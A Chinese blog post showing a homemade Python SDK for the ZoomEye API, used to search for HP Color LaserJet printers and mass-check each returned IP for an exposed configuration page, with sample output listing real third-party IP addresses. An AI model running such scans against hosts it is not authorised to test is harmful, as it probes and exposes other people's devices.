版权声明:未经作者授权,禁止转载!

ZoomEye想必大家都很熟悉,自从官方开放了API,网上各种版本的SDK乱飞。今天我也来发一个自己写的。

首先我们从https://github.com/SEC08/ZoomEye-API-SDK下载以后,解压以后我们直接运行python setup.py install来安装这个模块。这个过程类似大家安装Python的其他模块,比如说常见的requests.这里不多介绍了。等待安装完成以后,我们就可以来调用了。

利用SDK登录ZoomEye:

#!/usr/bin/env python
# -*-coding:utf-8 -*- import sys
import requests
import zoomeye.zoomeye as zoomeye test = zoomeye.zoomeye() username = 'your main@qq.com'
password = 'your zoomeye account password' token = test.logIn(username, password)

接着我们调用了脚本中的搜索方法,搜索的query可以参考官方给出的使用说明。。

#!/usr/bin/env python
# -*-coding:utf-8 -*- import sys
import requests
import zoomeye.zoomeye as zoomeye test = zoomeye.zoomeye() username = 'your main@qq.com'
password = 'your ZoomEye account password' token = test.logIn(username, password) result = test.search('web',query='HP Color LaserJet',page=1,facets='app,os') print result

返回数据是json的格式,官方文档中有详细的说明,这里我大致做了处理。

#!/usr/bin/env python
# -*-coding:utf-8 -*- import sys
import requests
import zoomeye.zoomeye as zoomeye test = zoomeye.zoomeye() username = 'your main@qq.com'
password = 'your ZoomEye account password' token = test.logIn(username, password) result = test.search('web',query='HP Color LaserJet',page=1,facets='app,os') target = [] for i in result:
for x in i['matches']:
print x['ip']
target.append(x['ip'][0]) for ip in target:
try:
payload = '/hp/device/InternalPages/Index?id=ConfigurationPage'
url = 'http://' + ip + payload
res_exp = requests.get(url)
print '[-]checking url %s' % url
if res_exp.status_code == 200 and 'HomeDeviceName' in res_exp.content and 'HomeDeviceIp' in res_exp.content:
print '[+]%s is vul' % url
elif res_exp.status_code != 200:
print '[+]%s is static' % url
else:
pass except Exception, e:
pass

 然后结果是这样的:

[-]checking url http://192.185.150.112/hp/device/InternalPages/Index?id=ConfigurationPage
[-]checking url http://140.118.123.43/hp/device/InternalPages/Index?id=ConfigurationPage
[+]http://140.118.123.43/hp/device/InternalPages/Index?id=ConfigurationPage is static
[-]checking url http://31.160.189.69/hp/device/InternalPages/Index?id=ConfigurationPage
[+]http://31.160.189.69/hp/device/InternalPages/Index?id=ConfigurationPage is static
[-]checking url http://129.89.57.148/hp/device/InternalPages/Index?id=ConfigurationPage
[+]http://129.89.57.148/hp/device/InternalPages/Index?id=ConfigurationPage is static
[-]checking url http://170.210.3.40/hp/device/InternalPages/Index?id=ConfigurationPage
[+]http://170.210.3.40/hp/device/InternalPages/Index?id=ConfigurationPage is static
[-]checking url http://74.208.41.246/hp/device/InternalPages/Index?id=ConfigurationPage
[+]http://74.208.41.246/hp/device/InternalPages/Index?id=ConfigurationPage is static
[-]checking url http://140.112.57.144/hp/device/InternalPages/Index?id=ConfigurationPage
[+]http://140.112.57.144/hp/device/InternalPages/Index?id=ConfigurationPage is static
[-]checking url http://67.63.41.136/hp/device/InternalPages/Index?id=ConfigurationPage
[+]http://67.63.41.136/hp/device/InternalPages/Index?id=ConfigurationPage is static

这样是大致的演示过程,还有诸多的不足。这里想说的是,这是一个不错的漏扫模式,国内好多的安全厂商也都开始构建类似这样的工具。另外大家可以发挥自己的想象力和创造力。更快速的去挖到更多的漏洞。

Python 实现 ZoomEye API SDK的更多相关文章

  1. 『Python』Python 调用 ZoomEye API 批量获取目标网站IP

    #### 20160712 更新 原API的访问方式是以 HTTP 的方式访问的,根据官网最新文档,现在已经修改成 HTTPS 方式,测试可以正常使用API了. 0x 00 前言 ZoomEye 的 ...

  2. 从ZoomEye API 到 Weblogic 弱口令扫描

    参考资料: ZoomEye API: https://www.zoomeye.org/api/doc Weblogic-Weakpassword-Scnner: https://github.com/ ...

  3. 使用Python结合Face++ API识别人脸

    Face++是北京旷视科技旗下的视觉服务平台,可以进行人脸识别.检测等功能.其人脸识别技术据悉在目前准确率较高,其API非常友好,免费使用,功能众多,而且调用几乎没有限制.这里我使用了Python调用 ...

  4. 调用ZoomEye API获取信息

    最近在提高自己编程能力,拿一些实用的小工具练下.该脚本为python语言,主要涉及模块urllib,json,os模块. 功能:调用ZoomEye API获取信息 import urllib.requ ...

  5. 使用Python调用Flickr API抓取图片数据

    Flickr是雅虎旗下的图片分享网站,上面有全世界网友分享的大量精彩图片,被认为是专业的图片网站.其API也很友好,可以实现多种功能.这里我使用了Python调用其API获得了大量的照片数据.需要注意 ...

  6. 使用python+pychram进行API测试(接口测试)初级STEP 1

    花了一天时间安装了解了下最基本的python+pychram进行API测试,下面这个可以指导自己以后入门:基本的开发级别还需要学习 1.python下载地址:https://www.python.or ...

  7. WEB自动化(Python+selenium)的API

    在做Web自动化过程中,汇总了Python+selenium的API相关方法,给公司里的同事做了第二次培训,分享给大家                                         ...

  8. 使用sphinx快速为你python注释生成API文档

    sphinx简介sphinx是一种基于Python的文档工具,它可以令人轻松的撰写出清晰且优美的文档,由Georg Brandl在BSD许可证下开发.新版的Python3文档就是由sphinx生成的, ...

  9. 基于python调用libvirt API

    基于python调用libvirt API 1.程序代码 #!/usr/bin/python import libvirt import sys def createConnection(): con ...

随机推荐

  1. WCF把书读薄(4)——事务编程与可靠会话

    WCF把书读薄(3)——数据契约.消息契约与错误契约 真不愧是老A的书,例子多,而且也讲了不少原理方面的内容,不过越读越觉得压力山大……这次来稍微整理整理事务和可靠会话的内容. 十八.事务编程 WCF ...

  2. [docker]本地仓库的创建的使用

    如果自己创建的镜像可以供其他同事使用,那就可以大大节约开发时间成本,docker的本地仓库正好可以满足这样的需求 1.在仓库服务器上创建本地仓库 baylor@baylor-virtual-machi ...

  3. (转)Entity Framework 5.0系列之自动生成Code First代码

    原文地址:http://www.cnblogs.com/kenshincui/archive/2013/08/29/3290527.html 在前面的文章中我们提到Entity Framework的“ ...

  4. 用maven将项目安装到本地仓库,为什么老是在默认仓库地址(C:\Users\userName\.m2\repository)

    使用mvn clean install安装项目到本地的时候,在idea中配置好了本地仓库地址,见下图: 但是安装时,还是安装到了C:\Users\userName\.m2\repository路径下, ...

  5. xampp本地服务器+HBuilder配置php环境

    HBuilder配置PHP环境: 下载,运行HBuilder编辑器 打开右侧小窗口,点击设置图标—>设置web服务器—>外置web服务器                    输入你想要浏 ...

  6. 【留用】C#的一些好的书籍

    浏览博客的时候发现一篇推荐的C#书籍,感觉真的不错,涉略过几本,水平问题,没看的很深入,正在努力,留用了!!! http://www.cnblogs.com/tongming/p/3879752.ht ...

  7. [raspberry p3] suse wifi驱动加载

    问题 raspberry pi3安装后发现wifi 启动不了, brcmf_sdio加载失败了,return error code为-110 处理方法 打开 /etc/dracut.conf.d/ra ...

  8. HTTP总结

    参考: https://www.cnblogs.com/fuqiang88/p/5956363.html https://www.cnblogs.com/zlingh/p/5887143.html h ...

  9. Android Studio无法找到tool.jar解决方法!

    今天安装并配置了JDK,可以在DOS窗口中使用“java -version”命令查看JAVA版本信息了,随后安装Android Studio,但是等Android Studio安装完毕,启动时候发现, ...

  10. myeclipse2014 安装maven3.3.9和maven配置本地仓库 及错误修改

    结合网上的知识梳理以及自己安装的经验 myeclipse2014 安装maven3.3.9和maven配置本地仓库  及犯的错误修改  成功搞定maven 1,安装 Maven 之前要求先确定你的 J ...